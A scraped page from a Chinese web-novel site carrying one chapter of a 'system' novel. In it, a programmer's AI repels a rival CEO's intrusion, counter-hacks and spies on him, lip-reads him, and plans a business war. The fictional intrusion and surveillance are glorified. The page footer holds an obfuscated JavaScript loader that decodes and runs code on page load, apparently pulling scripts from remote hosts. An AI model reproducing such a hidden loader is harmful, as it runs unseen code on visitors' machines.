首页
第49章 系统对系统,AI的
返回

第49章 系统对系统,AI的降维打击

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【笔趣阁小说网】
biquge345.com,更新快,无弹窗!

    第49章系统对系统,AI的降维打击(第1/2页)
    1
    深夜十一点四十七分,星河科技大厦二十八层。
    办公区只剩下林辰一人。灯光调暗了三档,只有他工位上方的一盏吊灯还亮着,在桌面上投下一圈昏黄的光晕。四块显示器环绕着他,分别显示着:
    左上:系统后台监控界面,淡金色数据流如瀑布般倾泻。
    右上:星河科技“星语”系统的实时负载图,曲线平稳。
    左下:云图科技股价走势,尾盘跳水3.2%。
    右下:抖音后台,“苏老师”账号粉丝数定格在1,872,433。
    数字还在缓慢跳动,但林辰的眼睛没有看那些。
    他盯着正前方的主屏幕,上面是一个刚刚弹出的黑色对话框。纯黑背景,白色宋体字,像某种复古的终端界面:
    【检测到同频段AI信号接入尝试】
    【信号强度:7.3/10】
    【威胁等级:高】
    【来源:云图科技内部网络,IP掩码已三重跳转】
    【接入目标:宿主绑定系统“神级AI全能系统”核心数据层】
    【拦截状态:成功(耗时0.003秒)】
    林辰的手指悬在键盘上方,停顿了三秒。
    然后他在脑海里问:“系统,对方在找什么?”
    淡蓝色界面在视野边缘展开:
    【分析入侵信号特征……】
    【信号携带特征码与三个月前“天启科技数据造假事件”中出现的异常数据流相似度:87.4%】
    【结论:云图科技CEO陈伟已获知宿主与“天工”系统的关联,正在尝试定位并反向追踪系统底层协议。】
    【警告:若对方成功捕获系统特征码,将可能通过大数据碰撞分析出宿主真实身份。】
    “陈伟……”林辰低声念出这个名字。
    他大学同宿舍四年的“兄弟”,毕业后一起进了天启科技,竞争同一个晋升名额,最后林辰赢了。三年前陈伟跳槽到云图科技,三年后成为CEO,做的第一件事就是挖走林辰团队的核心工程师。
    现在,又来了。
    而且这次,对方似乎察觉到了什么——察觉到了林辰能在三天内做出爆款账号、能在七天重构星河科技核心系统、能精准预判市场动向的背后,有某种不寻常的力量在支撑。
    AI对AI。
    系统对系统。
    林辰靠向椅背,闭上眼睛。连续工作十六小时的大脑在发烫,太阳穴一跳一跳地疼。但思维却异常清晰,像被冰水淬过的刀锋。
    “对方用的什么级别的AI?”
    【根据信号强度及渗透模式分析,应为商业级AI系统,迭代版本推测在4.0-4.5之间。核心能力:大数据分析、用户行为预测、自动化渗透测试。】
    【与“神级AI全能系统”的代差:约2-2.5代。】
    【胜率预估:在当前对抗层级,宿主系统胜率99.7%。】
    99.7%。
    很漂亮的数字。
    但林辰知道,在真实的商战里,0.3%的失败概率一旦触发,就是百分之百的灾难。
    “启动主动防御。”他睁开眼睛,“不,不止防御。反追踪,锁定对方服务器的物理位置。我要知道陈伟现在在哪,在干什么,接下来打算怎么出牌。”
    【收到指令。启动反追踪程序……】
    【警告:深度反追踪将暴露宿主系统部分特征,增加被识破风险。】
    【是否确认?】
    林辰沉默了两秒。
    窗外,城市的夜空中飘起细雨。雨滴打在玻璃幕墙上,划出一道道歪斜的水痕。远处CBD的灯火在雨雾中晕开,模糊成一片朦胧的光海。
    他想起了七天前,陈伟在电话里说的最后一句话:“林辰,你以为你赢定了?游戏才刚刚开始。”
    想起了三天前,云图科技突然宣布“智慧客服AI4.0”上线,功能列表和星河科技的“星语”重构方案有七成相似。
    想起了今天下午,技术总监王海清慌慌张张跑进办公室,说核心代码库被不明IP访问了十七次,虽然防火墙都拦住了,但访问模式极其专业,不像普通黑客。
    步步紧逼。
    处处杀机。
    林辰的手指在桌面上轻轻敲击,一下,两下,三下。
    然后他说:“确认。执行反追踪。但不要用主系统的核心算力,调用……调用‘天工’系统的冗余资源。伪装成商业级AI的反击,把层级控制在4.5代左右,刚好压他一头。”
    【策略确认。启动“天工”系统(伪装态),调用冗余算力37%。】
    【反追踪程序启动,路径:云图科技外部网关→三级跳转节点→内部服务器集群→物理定位。】
    【预计耗时:8分13秒。】
    进度条在主屏幕上展开。
    林辰站起身,走到落地窗前。雨下得更大了,整座城市笼罩在水幕之中。他的倒影映在玻璃上,模糊,失真,像另一个平行世界里的自己。
    八分钟。
    足够他思考很多事。
    比如陈伟为什么突然这么激进?云图科技今年Q2财报很好看,营收增长28%,股价涨了40%,按理说应该稳扎稳打。除非……除非陈伟遇到了某种必须速战速决的压力。
    比如董事会施压?对赌协议到期?还是——林辰脑子里闪过一个念头——陈伟自己的位置,坐得并不稳?
    “系统,调取云图科技最近三个月的所有公开信息。董事会成员变更、重大合同签署、融资动态、高管离职情况。做关联分析。”
    【收到。开始采集数据……】
    数据流在视野边缘加快。新闻稿、财报摘要、招聘信息、离职公告、法院公示……海量信息被抓取、清洗、分析、关联。
    三分钟后,第一份简报送达:
    【云图科技董事会于上月完成改组,新增两名董事,均有硅谷背景。】
    【陈伟所持期权行权条件之一:本财年营收增长不低于35%。当前进度:28%(距财年结束还有四个月)。】
    【云图科技与“深蓝资本”签订对赌协议:若明年六月前市值未突破500亿,创始人团队需出让15%股权。】
    【陈伟的CEO聘用合同明年三月到期,续约条件未公开。】
    压力源找到了。
    董事会改组,新人要业绩。对赌协议,输不起。个人合同到期,需要证明自己。
    三重压力之下,陈伟必须打一场漂亮的仗——既要快速提升营收,又要打压竞争对手,还要向董事会证明他的能力。
    而星河科技,这个曾经的手下败将,突然冒出来的“星语”重构,刚好成了最合适的靶子。
    打掉星河科技,云图科技就能吃掉对方至少30%的市场份额,营收增长稳超35%。同时,除掉林辰这个潜在威胁,巩固自己的地位。
    一石三鸟。
    “真是好算计。”林辰冷笑。
    但他好奇的是,陈伟怎么知道自己有“系统”?是猜的?是察觉到了数据异常?还是……有人透露了什么?
    他调出最近一个月的人脉接触记录。见过的人,通过的电话,收发的邮件,微信聊天……系统自动标注出可能泄露信息的风险点:
    【风险点1:三天前与“前同事小王”通话17分钟,谈及“天启科技数据造假”后续。小王现任职于“星海咨询”,该公司与云图科技有业务往来。】
    【风险点2:一周前“苏老师”账号直播时,虚拟形象生成算法被某技术论坛分析,有用户指出“该算法水平远超当前公开技术”。】
    【风险点3:李铭在董事会上提及“林辰有特殊技术背景”,在场七人中有两人与云图科技高管私交甚密。】
    都有可能。
    但都不足以让陈伟确定“系统”的存在。
    除非……
    林辰突然想起什么:“系统,三个月前举报天启科技时,你用的渗透路径,有没有可能被反向追踪?”
    【当时使用了三层伪装,理论上不会被商业级AI追踪。但若对方动用国家级安全级别的监测系统,并在事后对全网数据进行长达三个月的碰撞分析,有0.08%的概率捕捉到异常信号特征。】
    0.08%。
    小概率事件。
    但如果陈伟真的动用了某种非常规资源——比如通过他在工信部的关系,调用了某些监测数据——那这个概率就会大幅提升。
    “够了。”林辰喃喃。
    就在这时,主屏幕上进度条走到100%。
    【反追踪完成。】
    【目标服务器物理位置:北京市朝阳区云图科技大厦B座7层,机房编号C-17。】
    【该服务器当前运行进程:商业AI系统“云智4.5”(伪装名),真实内核为军方退役AI“天眼3.0”改版。】
    【服务器监控画面已切入。】
    画面切换。
    一个标准的机房场景。机柜林立,指示灯闪烁。角落的一台服务器格外显眼——机箱是定制的深灰色,侧面印着一个极简的鹰眼logo。屏幕上滚动的代码,是某种改良过的军用级算法。
    而站在服务器前的男人,林辰很熟悉。
    陈伟。
    三十八岁,比大学时胖了些,穿着深蓝色休闲西装,没打领带。他正盯着屏幕,眉头紧锁,手指在旁边的控制台上快速敲击。
    嘴唇在动,但没有声音。
    “系统,唇语识别。”
    【启动唇语识别模块……】
    【识别内容:】
    【“……信号断了?怎么可能断?”】
    【“……重新接!用B方案,直接撞他们的防火墙!”】
    【“……我养你们这群人干什么吃的?一个民营企业的系统都攻不破?”】
    【“……等等,这是什么……逆向流?他们在反追踪?!”】
    陈伟的脸色变了。
    他从椅子上猛地站起来,抓起旁边的内部电话,几乎是吼着说:“切断!立刻切断所有对外连接!物理断网!”
    (本章未完,请点击下一页继续阅读)第49章系统对系统,AI的降维打击(第2/2页)
    晚了。
    监控画面里,那台深灰色服务器的指示灯开始疯狂闪烁,从规律的绿色变成混乱的红绿交替。屏幕上的代码流突然卡顿,然后弹出十几行错误提示:
    【警告:检测到反向数据流侵入】
    【警告:核心协议层被扫描】
    【警告:特征码泄露风险:高】
    【建议:立即关闭系统,执行物理隔离】
    陈伟一拳砸在控制台上。
    杯子倒了,水洒了一地。他对着电话吼了什么,然后狠狠挂断,双手撑在台面上,低着头,胸口剧烈起伏。
    监控画面到此中断。
    不是被切断的,是林辰主动关闭的。
    够了。
    他已经看到了他想看的——陈伟的慌乱,陈伟的底牌,陈伟的……恐惧。
    是的,恐惧。
    虽然只有一瞬间,但林辰看到了。当服务器报警时,陈伟眼睛里闪过的那种,猎物发现自己才是猎物的惊恐。
    “系统,我们暴露了多少?”
    【本次反追踪使用了“天工”系统的伪装层,暴露特征为商业AI4.8代水平,略高于对方但仍在合理范围。对方无法确认是否与“神级AI系统”有关联。】
    【但对方已确认:宿主拥有不低于4.5代商业AI的技术支持,且具备主动反击能力。】
    “那就让他知道。”林辰重新坐回工位,“让他知道我有能力反击,但不知道我能力的上限。让他猜,让他疑,让他每一步都如履薄冰。”
    这才是最高明的战术。
    不亮底牌,但亮出你有底牌的姿态。
    “接下来他会怎么做?”林辰问。
    【基于对方性格模型及当前处境推演,可能性排序:】
    【1.加大技术渗透力度,调集更多资源尝试破解“天工”系统(概率42%)。】
    【2.转为商业手段打压,通过价格战、挖人、舆论战等传统方式施压(概率35%)。】
    【3.尝试接触宿主,谈判或威胁(概率18%)。】
    【4.暂时退让,暗中搜集更多信息(概率5%)。】
    林辰看着这四个选项,手指在桌面上轻轻敲击。
    雨更大了。雷电在远处云层中翻滚,偶尔照亮半个天空。办公室里的空气潮湿而沉闷,像暴雨前的最后宁静。
    “那就让他来。”林辰轻声说,“技术战,商业战,舆论战,我陪他打。但有一条——”
    他顿了顿,眼神冷下来。
    “——别碰我的家人。这是底线。”
    窗外的雷声滚过天际,沉闷,绵长,像某种远古巨兽的苏醒。
    2
    凌晨一点二十分。
    林辰的手机震动,是李铭的电话。
    “还没走?”李铭的声音听起来很清醒,不像被吵醒的样子。
    “快了。”林辰说,“李总也还没休息?”
    “刚开完会。”李铭顿了顿,“云图那边,今天下午突然把‘智慧客服AI4.0’的价格下调了20%,针对的就是我们‘星语’的重构版。几个正在谈的客户,刚才都打电话来问,我们跟不跟。”
    价格战。
    这么快就来了。
    “你怎么想?”李铭问。
    林辰走到窗前,看着雨夜:“不跟。”
    “理由?”
    “第一,云图的成本撑不住。他们的系统基于军用AI改版,授权费用高,硬件要求高,降价20%已经接近盈亏线。再降,要么亏本卖,要么偷工减料。”
    “第二,我们的优势不在价格,在稳定性和体验。‘星语’重构后,系统可用性99.99%,响应速度提升三倍,客户要的是这个。”
    “第三……”林辰停顿了一下,“陈伟在逼我们乱。我们一乱,就会出错。出错,他就有机会。”
    电话那头沉默了几秒。
    “你好像很了解陈伟。”李铭说。
    “大学同学,前同事,老对手了。”林辰说,“他喜欢速战速决,喜欢用高压手段逼对手犯错。但这次,他急了。急就会露出破绽。”
    “你有把握?”
    “有。”林辰说,“但需要您配合。”
    “说。”
    “明天上午,以公司名义发一份公告。内容就两点:第一,星河科技‘星语’系统已完成全面重构,性能数据公开,欢迎第三方测评。第二,我们启动‘客户体验保障计划’——新客户试用三十天,不满意全额退款;老客户续费,如果系统稳定性不达标,赔双倍。”
    李铭倒吸一口凉气:“双倍退款?你疯了?这要是真出事——”
    “不会出事。”林辰打断他,“我对系统有绝对信心。但陈伟没有。他不敢跟,因为他知道自己的系统撑不住这种承诺。这一招,是阳谋。他接,就得暴露自己系统的短板。不接,客户就会想:为什么云图不敢承诺?”
    又是一阵沉默。
    这次更长。
    “林辰,”李铭缓缓说,“你知道这个承诺,相当于把公司半条命押在你身上吗?”
    “我知道。”林辰说,“但李总,您请我来,不就是要我打硬仗吗?现在仗来了,您敢不敢把筹码推到底?”
    电话里只剩下电流的嘶嘶声。
    窗外一道闪电劈过,瞬间照亮整间办公室。林辰的影子被拉得很长,投在背后的白墙上,像一尊沉默的雕塑。
    “发。”李铭最终说,“明天上午九点,全渠道发布。但林辰,你给我记住——”
    他的声音陡然严厉。
    “——要是输了,你我都得从这行滚蛋。而且会比现在惨十倍。”
    “明白。”林辰说。
    电话挂断。
    办公室里重新陷入寂静,只有雨声敲打玻璃,噼啪作响。
    林辰放下手机,重新坐回工位。系统界面在眼前展开,任务列表刷新:
    【触发主线任务:AI商战首役】
    【任务描述:在商业竞争中击败云图科技,确立星河科技在AI客服领域的领先地位】
    【时限:30天】
    【目标:1.市场份额提升至25%(当前18%);2.签约三家行业标杆客户;3.公开测评中击败云图“智慧AI4.0”】
    【奖励:AI商战模块(中级)、人脉卡(可指定行业大佬)×1】
    【失败惩罚:强制退出星河科技,三年内不得从事AI行业】
    惩罚很重。
    但林辰没时间犹豫。
    “系统,启动商战推演模块。模拟未来三十天所有可能的发展路径,找到胜率最高的打法。”
    【收到。启动AI商战推演……】
    【正在采集数据:市场环境、竞品动态、客户画像、团队能力、资金状况……】
    【生成推演模型……开始模拟……】
    屏幕上,无数条虚拟的时间线展开。每一条都代表一种可能的未来:价格战持续升级、技术漏洞被曝光、核心团队被挖角、舆论战失控、资本介入……
    大部分时间线都以失败告终。
    但有一条,蜿蜒向上,在无数分支中杀出血路,最终抵达胜利节点。
    胜率:37.2%。
    不高。
    但够了。
    林辰点开那条时间线的详细推演报告,快速浏览。核心策略很简单:
    第一周:固守。不跟价格战,主打“稳定性承诺”,吸引对价格不敏感但对质量敏感的高净值客户。
    第二周:反击。在第三方测评中公开对决,用数据碾压。
    第三周:分化。挖走云图的关键技术人才(系统已标记三人,均有离职意向)。
    第四周:收官。签约行业标杆客户,召开发布会,一战定乾坤。
    每一步都有详细执行方案,每一个风险点都有应对预案。
    很扎实。
    很林辰的风格。
    他关掉推演界面,看了眼时间:凌晨一点五十分。
    该回家了。
    但在这之前,还有最后一件事要做。
    “系统,给我爸妈和小宝小花的实时健康监控数据。”
    【林建国(父):血糖6.7,血压128/85,心率72,睡眠深度:良好。】
    【王秀英(母):血压135/88,心率68,腰椎疼痛指数:2/10(轻微),睡眠深度:良好。】
    【林小宝(子):心率65,体温36.7,手肘伤口愈合度:97%,睡眠深度:深睡。】
    【林小花(女):心率72,体温36.8,睡眠深度:深睡。】
    【苏雨晴(妻):心率71,血压110/70,睡眠深度:浅睡(翻身3次)。】
    林辰的目光在最后一行停留了几秒。
    苏雨晴睡得不好。
    她知道他最近压力大,从来不问,但会在他晚归时留一盏灯,会在他早起时准备热牛奶,会在他打电话时默默走到阳台,不打扰。
    她什么都懂。
    所以才会睡不好。
    林辰拿起手机,打开微信,点开苏雨晴的对话框。光标闪烁,他输入,删除,又输入。
    最后只发了三个字:
    “马上回。”
    几乎是瞬间,对话框显示“对方正在输入”。但等了几秒,只回了一个字:
    “好。”
    林辰收起手机,关掉电脑,拿起外套。
    走到门口时,他回头看了一眼办公室。四块屏幕已经暗了,只有主机指示灯还在幽幽闪着绿光。白板上密密麻麻的架构图,在昏暗的光线下像某种神秘的符咒。
    明天,战争正式开始。
    但现在,他该回家了。
    那里有等他的人,有他必须守护的世界。
    他关上门,脚步声在空旷的走廊里回荡,渐渐远去。
    窗外,雨渐渐小了。
    但雷声还在云层深处滚动,低沉,绵长,像某种蛰伏的巨兽,在等待破晓时分的苏醒。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();